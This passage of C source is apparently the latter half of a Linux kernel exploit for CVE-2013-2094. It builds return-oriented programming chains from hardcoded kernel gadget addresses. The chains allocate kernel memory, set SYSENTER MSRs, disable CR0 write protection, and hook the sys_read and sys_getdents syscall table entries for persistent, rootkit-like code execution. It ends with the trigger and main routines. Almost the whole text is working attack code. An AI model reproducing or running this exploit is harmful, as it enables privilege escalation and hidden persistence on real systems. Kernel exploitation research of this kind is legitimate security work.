// Thus we set RDI to the offset and add RAX to RDI afterwards
add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(patch_offset, &init_stack, &init_stack_size); // OFFSET
// Now we can make use of an add gadget
add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size); // ADD RDI, RAX;
// MOV RAX, RDI; RET;
// Load the address that should be patched into RCX
add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size); // POP RCX; RET
// Address of copy stack + offsets
add_to_fake_stack((u64)copy_stack_begin + patch_entries[i].fake_stack_offset,
&init_stack, &init_stack_size);
// PATCH
// MOV [RCX], RDI; XOR EAX,EAX; RET
add_to_fake_stack(0xffffffff813df7ba, &init_stack, &init_stack_size);
// Reset RAX back to the base value to be able to process the next
// patch symbol
// Mov RDI back to RAX
add_to_fake_stack(0xffffffff811c98e1, &init_stack, &init_stack_size); // MOV RAX, RDI; RET
// Load offset into RDX
add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size); // POP RDX; RET
add_to_fake_stack(patch_offset, &init_stack, &init_stack_size); // The last offset
// Substract RDX from RAX
add_to_fake_stack(0xffffffff81079357, &init_stack, &init_stack_size); // SUB RAX, RDX
}
*/
// ----------------------------------------------------------------
// << GENERATE PATCHING CODE DONE.
// ================================================================
// ================================================================
// >> CREATE DISPATCHER STACK
// ----------------------------------------------------------------
// Before we copy the copy chain into the kernel, we need to
// reserve memory for the dispatcher stack and patch its address into
// the copy chain. This process has to occur before we move the
// copy chain from userspace to kernelspace, but after the
// patching code was run. The reason for the latter is that RAX
// contains the address of the state region up to this point. This
// address is required to conduct the patching, but is not needed
// anymore from this point onwards.
// First reserve memory for the dispatcher stack.
// We use kmalloc for this purpose
// RDI=SIZE, RSI=FLAGS
add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(DISPACTHER_STACK_SIZE + 2 * 4096,
&init_stack, &init_stack_size); // SIZE = DISPACTHER_STACK_SIZE
// + two pages stack
add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size); // POP RSI, RET;
add_to_fake_stack(0xd0, &init_stack, &init_stack_size); // GFP_KERNEL, 0xd0
// Load Address of '__kmalloc' into RAX
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff8117d490, &init_stack, &init_stack_size); // Address of __kmalloc
// "Call" __kmalloc
add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size); // JMP RAX;
// RAX now contains pointer
// The payload stack currently start at the beginning of the
// reserved memory area. However, as the dispatcher stack might use
// external functions, the stack must provide some room to grow
// downward. Therefore we increase the pointer by two pages to
// provide some room.
add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(2 * 4096, &init_stack, &init_stack_size); // Two pages room for stack
// The next gadget performs the add and moves the result back to
// RAX
add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size); // ADD RDI, RAX;
// MOV RAX, RDI; RET;
// Now we have to patch the pointer our copy chain.
// Load the correct offset into RSI.
add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size); // POP RSI; RET;
add_to_fake_stack((u64)dispatcher_stack_patch, &init_stack, // The patch address.
&init_stack_size); // It is set by the copy chain.
// Patch the address with the pointer returned by kmalloc.
add_to_fake_stack(0xffffffff8102eaa1, &init_stack, &init_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// ----------------------------------------------------------------
// << CREATE DISPATCHER STACK DONE
// ================================================================
// ================================================================
// >> CREATE COPY STACK
// ----------------------------------------------------------------
// Finally we reserve the memory for the copy chain within the
// kernel and copy the chain there.
// First reserve memory for the copy stack.
// We use kmalloc for this purpose
// RDI=SIZE, RSI=FLAGS
add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(COPY_STACK_SIZE, &init_stack, &init_stack_size); // SIZE = COPY_STACK_SIZE
add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size); // POP RSI, RET;
add_to_fake_stack(0xd0, &init_stack, &init_stack_size); // GFP_KERNEL, 0xd0
// Load Address of '__kmalloc' into RAX
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff8117d490, &init_stack, &init_stack_size); // Address of __kmalloc
// "Call" __kmalloc
add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size); // JMP RAX;
// RAX now contains pointer
// Save the pointer as we need it later on to setup the MSRs.
// We store it in a local variable
// Load the variable into RSI.
add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size); // POP RSI; RET;
add_to_fake_stack((u64)©_stack_kernel, &init_stack, &init_stack_size); // The local variable we store
// the location of the copy
// chain in.
// Store the pointer returned by kmalloc.
add_to_fake_stack(0xffffffff8102eaa1, &init_stack, &init_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Since, the last gadget destroy RAX, we need to restore it.
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET;
add_to_fake_stack((u64)©_stack_kernel, &init_stack, // Address of the local
&init_stack_size); // variable
// We want the VALUE of the variable not the address.
add_to_fake_stack(0xffffffff81074b56, &init_stack, &init_stack_size); // MOV RAX, [RAX]; RET
// Use memcopy to copy the chain to its destination.
// ARG 1, DESTINATION = Pointer in RAX
// First argument must be in RDI, thus we need to move RAX to RDI.
// We use an add gadget for this purpose. Reset RDI for this purpose.
add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(0x0, &init_stack, &init_stack_size); // 0x0
// RDI now 0. Use add gadget for the "move"
add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size); // ADD RDI, RAX;
// MOV RAX, RDI;
// RET;
// ARG 2, SRC = copy_stack_begin
add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size); // POP RSI, RET;
add_to_fake_stack((u64)copy_stack-copy_stack_size, &init_stack, // COPY_STACK
&init_stack_size);
// ARG 3, LENGTH = copy_stack_size
add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size); // POP RDX; RET
add_to_fake_stack(copy_stack_size, &init_stack, &init_stack_size); // number of bytes
// Load Address of 'memcpy' into RAX
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff81354190, &init_stack, &init_stack_size); // Address of memcpy
// "Call" memcpy
add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size); // JMP RAX;
// Chain should now be located in kernel space.
// ----------------------------------------------------------------
// << CREATE COPY STACK
// ================================================================
// ================================================================
// >> SETUP MSRs
// ----------------------------------------------------------------
// Now that we created all memory areas, we must setup our MSRs
// such that we can make use of SYSENTER to activate ROPCHUCK.
// MSRs are written using WRMSR. The instruction expects:
// a) EAX to contain bytes [31:0] to be written to the MSR
// b) EDX to contain bytes [63:32] to be written to the MSR
// c) ECX contains the MSR to be written to.
// -----------------------------------------------------------------
// SYSENTER_ESP (0x175)
// -----------------------------------------------------------------
// First we load the pointer returned by kmalloc into RAX..
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET;
add_to_fake_stack((u64)©_stack_kernel, &init_stack, // Address of the local
&init_stack_size); // variable
// We want the VALUE of the variable not the address.
add_to_fake_stack(0xffffffff81074b56, &init_stack, &init_stack_size); // MOV RAX, [RAX]; RET
// Alright, now we need to load the upper 32-bits of RAX into RDX.
// To achieve this we first shift RAX right by 32-bits.
add_to_fake_stack(0xffffffff81092570, &init_stack, &init_stack_size); // SHR RAX, 32; RET.
// Now we move eax to edx. The gadget contains a call RCX. So we
// setup RCX first,
add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size); // POP RCX; RET;
add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size); // Address of POP RCX; RET;
// Now the move
add_to_fake_stack(0xffffffff8102296d, &init_stack, &init_stack_size); // MOV EDX, EAX; CALL RCX;
// EDX now contains bytes [63:32].
// Now we have to load bytes [31:0] into EAX. To achive this we
// simply load the pointer value again into RAX.
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET;
add_to_fake_stack((u64)©_stack_kernel, &init_stack, // Address of the local
&init_stack_size); // variable
// We want the VALUE of the variable not the address.
add_to_fake_stack(0xffffffff81074b56, &init_stack, &init_stack_size); // MOV RAX, [RAX]; RET
// EAX now contains bytes [31:0] of the pointer.
// Next we specifiy the MSR we want to write to by placing its
// number into ECX.
add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size); // POP RCX; RET;
add_to_fake_stack(0x175, &init_stack, &init_stack_size); // 0x175
// WRMSR!
add_to_fake_stack(0xffffffff810039a0, &init_stack, &init_stack_size); // WRMSR;
// XOR EAX, EAX;
// RET;
// -----------------------------------------------------------------
// SYSENTER_EIP (0x176)
// -----------------------------------------------------------------
// SYSENTER_EIP must point to a RET instruction to start the
// execution of our copy chain. Thus we can use almost the same
// gadgets as before with the exception that we can now the value
// which is written to the MSR beforehand. Thus we can use simple
// POP gadgets this time.
// POP RDX, 0xffffffffffffffff
add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size); // POP RDX; RET;
add_to_fake_stack(0xffffffffffffffff, &init_stack, &init_stack_size); // 0xffffffffffffffff
// EDX now contains bytes [63:32].
// POP RAX, Address of RET
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff816a9438, &init_stack, &init_stack_size); // Address of a RET
// instruction
// EAX now contains bytes [31:0].
// Next we specifiy the MSR we want to write to by placing its
// number into ECX.
add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size); // POP RCX; RET;
add_to_fake_stack(0x176, &init_stack, &init_stack_size); // 0x176
// WRMSR!
add_to_fake_stack(0xffffffff810039a0, &init_stack, &init_stack_size); // WRMSR;
// XOR EAX, EAX;
// RET;
// ----------------------------------------------------------------
// << SETUP MSRs DONE
// ================================================================
// ================================================================
// >> PLACE HOOK ON SYS_READ AND SYS_GETDENTS
// ----------------------------------------------------------------
// The MSRs are ready. Now we can hook the system calls. Since
// the system call table is write-proteced, we first need to
// disable the paging protections.
// -----------------------------------------------------------------
// Disable the paging protections.
// -----------------------------------------------------------------
// In this case we achieve this by removing the WP flag within the
// CR0 register.
// Get the value of CR0 using native_read_cr0
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET
add_to_fake_stack(0xffffffff81043ea0, &init_stack, &init_stack_size); // Address of
// "native_read_cr0()"
// "CALL" native_read_cr0()
add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size); // JMP RAX
// RAX now contains the value CR0
// Move mask to remove WP flag into RSI
add_to_fake_stack(0xffffffff8139eaa6, &init_stack, &init_stack_size); // POP RSI; RET
add_to_fake_stack(0x10000, &init_stack, &init_stack_size); // Mask
// Clear the WP flag
add_to_fake_stack(0xffffffff8158f734, &init_stack, &init_stack_size); // SUB RAX, RSI; RET;
// Write the CR0 value without WP back to CR0.
// We again use a function for this purpose. Thus we must move the
// value from RAX to RDI (first argument). Since we make use of an
// add gadget for this purpose, we must set RDI to zero first,
add_to_fake_stack(0xffffffff810b2703, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(0x0, &init_stack, &init_stack_size); // 0x0
// "Move" RAX to RDI
add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size); // ADD RDI, RAX;
// MOV RAX, RDI;
// RET;
// Move address of "native_write_cr0" into RDX.
add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size); // POP RDX; RET
add_to_fake_stack(0xffffffff81043eb0, &init_stack, &init_stack_size); // Address of
// "native_write_cr0()"
// "call" native_write_cr0()
add_to_fake_stack(0xffffffff812380eb, &init_stack, &init_stack_size); // JMP RDX
// Paging protections are now disabled!
// -----------------------------------------------------------------
// Modify SYS_READ
// -----------------------------------------------------------------
// Next we overwrite the SYS_READ system call address in the
// system call table
// Move the address of sys_call_table["read"] into RSI
add_to_fake_stack(0xffffffff8139eaa6, &init_stack, &init_stack_size); // POP RSI; RET
add_to_fake_stack(0xffffffff81801320, &init_stack, &init_stack_size); // sys_call_table["read"]
// Move the address we want to overwrite it with into RAX.
// In our case we want to use a sysenter instruction as the value
// such that sysenter is executed on every invocation of the read
// system call.
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET
add_to_fake_stack(0xffffffff8138e98d, &init_stack, &init_stack_size); // Address of a sysenter instruction
// This actually sets the hook by overwriting the entry in the
// syscall table with an address of a sysenter instruction.
// The sysenter instruction will fire off our persistent copy chain
// within the kernel.
add_to_fake_stack(0xffffffff8102eaa1, &init_stack, &init_stack_size); // MOV [RSI],RAX;
// XOR EAX, EAX;
// RET;
// -----------------------------------------------------------------
// Modify SYS_GETDENTS
// -----------------------------------------------------------------
// Next we overwrite the SYS_GETDENTS system call address in the
// system call table
// Move the address of sys_call_table["getdents"] into RSI
add_to_fake_stack(0xffffffff8139eaa6, &init_stack, &init_stack_size); // POP RSI; RET
add_to_fake_stack(0xffffffff81801590, &init_stack, &init_stack_size); // sys_call_table["getdents"]
// Move the address we want to overwrite it with into RAX.
// In our case we want to use a sysenter instruction as the value
// such that sysenter is executed on every invocation of the read
// system call.
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET
add_to_fake_stack(0xffffffff8138e98d, &init_stack, &init_stack_size); // Address of a sysenter instruction
// This actually sets the hook by overwriting the entry in the
// syscall table with an address of a sysenter instruction.
// The sysenter instruction will fire off our persistent copy chain
// within the kernel.
add_to_fake_stack(0xffffffff8102eaa1, &init_stack, &init_stack_size); // MOV [RSI],RAX;
// XOR EAX, EAX;
// RET;
// -----------------------------------------------------------------
// Reenable the paging protections.
// -----------------------------------------------------------------
// We now reset the WP flag to reenable the protections. Since we did
// not touch RDI and native_write_cr0() does not modify it, the
// registers still contains the last value we wrote to CR0. We can
// make use of this fact to restore the original value.
// Move current CR0 value to RAX
add_to_fake_stack(0xffffffff811c98e1, &init_stack, &init_stack_size); // MOV RAX, RDI; RET;
// Move mask to set WP flag into RDI
add_to_fake_stack(0xffffffff810b2703, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(0x10000, &init_stack, &init_stack_size); // Mask
// This time add to set WP
add_to_fake_stack(0xffffffff8104c41d, &init_stack, &init_stack_size); // ADD RAX, RDI; RET
// Write the CR0 back to CR0.
// We again use a function for this purpose. Thus we must move the
// value from RAX to RDI (first argument). Since we make use of an
// add gadget for this purpose, we must set RDI to zero first,
add_to_fake_stack(0xffffffff810b2703, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(0x0, &init_stack, &init_stack_size); // 0x0
// "Move" RAX to RDI
add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size); // ADD RDI, RAX;
// MOV RAX, RDI;
// RET;
// Move address of "native_write_cr0" into RDX.
add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size); // POP RDX; RET
add_to_fake_stack(0xffffffff81043eb0, &init_stack, &init_stack_size); // Address of
// "native_write_cr0()"
// "call" native_write_cr0()
add_to_fake_stack(0xffffffff812380eb, &init_stack, &init_stack_size); // JMP RDX
// ----------------------------------------------------------------
// << PLACE HOOK ON SYS_READ AND SYS_GETDENTS DONE
// ================================================================
// ================================================================
// >> EPILOG
// ----------------------------------------------------------------
// Return to userspace.
// Reset GS segment
add_to_fake_stack(0xffffffff816cb9cb, &init_stack, &init_stack_size); // SWAPGS
// IRETQ for the win
add_to_fake_stack(0xffffffff816cb56c, &init_stack, &init_stack_size); // IRETQ
// ----------------------------------------------------------------
// << EPILOG DONE
// ================================================================
printf(" \t[*] Fake stack ready!\n");
printf(" [!] Init stack size %ld bytes\n", init_stack_size);
}
/**
* Trigger the exploit.
*
* This function will actually trigger the vulnerability.
*/
static void trigger(void)
{
u64 rflags;
u64 rsp;
u64 rip;
u64 cs;
u64 ss;
char *mem = 0;
u32 i = 0;
printf(" [+] Triggering exploit...\n");
// Set up the fake frame for IRET
printf(" \t[*] Getting register and segment information...\n");
__asm__ __volatile__("mov %%rsp, %0;"
"lea (%%rip), %%rax;"
"mov %%rax, %1;"
"pushf;"
"pop %%rax;"
"mov %%rax, %2;"
"mov %%cs, %3;"
"mov %%ss, %4;"
: "=m"(rsp), "=m"(rip), "=m"(rflags), "=m"(cs), "=m"(ss)
:
: "%rax"
);
// cs & ss segment only use the last 16 bits
cs &= 0xffff;
ss &= 0xffff;
// We later on save some registers. We have to adjust the stack size for that
rsp -= (7 * 8);
// Search for the interrupt invocation to set the return address
mem = (char *)rip;
for(i = 0; i < 2000; i++)
{
if (((*mem) & 0xff) == 0xcd && (*(mem + 1) & 0xff) == INTERRUPT)
{
rip += i + 2;
break;
}
mem++;
}
if (i == 2000)
{
error(-1, 0, " [!] Could not determine address of interrupt instruction!\n");
}
printf(" \t\t-> RIP 0x%llx\n", rip);
printf(" \t\t-> RSP 0x%llx\n", rsp);
printf(" \t\t-> RFLAGS 0x%llx\n", rflags);
printf(" \t\t-> CS 0x%llx\n", cs);
printf(" \t\t-> SS 0x%llx\n", ss);
printf(" \t[*] Setting up fake frame for IRET...\n");
add_to_fake_stack(rip, &init_stack, &init_stack_size); // Return address
add_to_fake_stack(cs, &init_stack, &init_stack_size); // CS
add_to_fake_stack(rflags, &init_stack, &init_stack_size); // Rflags
add_to_fake_stack(rsp, &init_stack, &init_stack_size); // RSP
add_to_fake_stack(ss, &init_stack, &init_stack_size); // SS
// Save the current context
printf(" \t[*] Saving context...\n");
__asm__ __volatile__ (
"push %%rbp;"
"push %%rax;"
"push %%rbx;"
"push %%rcx;"
"push %%rdx;"
"push %%rdi;"
"push %%rsi;"
:
:
:
);
// Set RBP to the fake init_stack, which will be invoked by leave;
printf(" \t[*] Setting RBP to fake init_stack @ %p...\n", init_stack - init_stack_size);
__asm__ __volatile__ ("mov %0, %%rbp;"
:
:"r"((u64)init_stack - init_stack_size)
:
);
// Wait for the children
printf(" \t[*] Waiting for children...");
fflush(stdout);
while(1)
{
if((*children_done) == child_index)
break;
sleep(0.5);
}
printf("DONE!\n");
// Trigger interrupt
printf(" \t[*] Unleash the kraken!\n");
__asm__ __volatile__ ("int $" INTERRUPT_STRING ";"
"pop %%rsi;"
"pop %%rdi;"
"pop %%rdx;"
"pop %%rcx;"
"pop %%rbx;"
"pop %%rax;"
"pop %%rbp;"
:
:
:
);
printf(" [!] Exploit successful!\n");
(*parent_done) = 1;
}
/**
* Every exploit needs an epic banner to be e1337.
*/
static void print_banner(void)
{
printf("\n\n");
printf(" ***************************************\n");
printf(" * *\n");
printf(" * CVE-2013-2094 *\n");
printf(" * *\n");
printf(" * ROP-CHUCKs revenge! *\n");
printf(" * *\n");
printf(" ***************************************\n\n\n");
}
/**
* Well if you do not know what main is, you better close this file.
*/
int main(int argc, char *argv[])
{
struct idt idt;
//int i = 0;
u64 offset;
// For the lolz
print_banner();
printf(" [+] Overview\n");
printf(" \t[*] We use a fixed address for perf_swevent_enabled (0x%lx)\n", PERF_SWEVENT_ENABLED);
printf(" \t (Similarly the address could be obtained dynamically as in the original exploit.)\n");
printf(" \t[*] We setup a fake stack in userspace to circumvent SMEP.\n");
printf(" \t[*] We overwrite the interrupt handler %d and point it to a 'leave; ret;' instruction.\n", INTERRUPT);
printf(" \t This will load our userspace stack, which we place in RBP, into RSP and trigger our ROP chain.\n");
printf("\n\n");
printf(" [+] Getting the IDT...");
__asm__ ("sidt %0"
: "=m"(idt)
:
:
);
printf(" IDT @ 0x%lx\n", idt.addr);
// Calculate the offset
// This will hit the second entry in the IDT (#DB) !
// Notice that the offset is increased in 24-bytes steps not in 4!
printf(" [+] Calculating target offset...");
offset = (PERF_SWEVENT_ENABLED - idt.addr - (16 * INTERRUPT)) / 24;
offset = -offset;
printf(" Offset is %lld\n", offset);
// Create payload fake stack
create_payload_fake_stack();
// Create dispatcher fake stack
create_dispatcher_fake_stack(payload_stack, payload_stack_size);
// Create copy fake stack
create_copy_fake_stack(dispatcher_stack, dispatcher_stack_size);
// Create init fake stack
create_init_fake_stack();
// Number of increments
increment((LEAVE_RET - INTERRUPT_HANDLER), 500, offset);
printf(" DONE!\n");
// DEBUG
/*
printf(" [+] Init fake stack - %ld bytes:\n", init_stack_size);
for(i = 8; i <= init_stack_size; i += 8)
{
printf("\t[=] 0x%llx: 0x%llx\n", (u64)((u64 *)init_stack - (i/8)), *((u64 *)init_stack - (i / 8)));
}
*/
// Unleash the kraken
trigger();
return 0;
}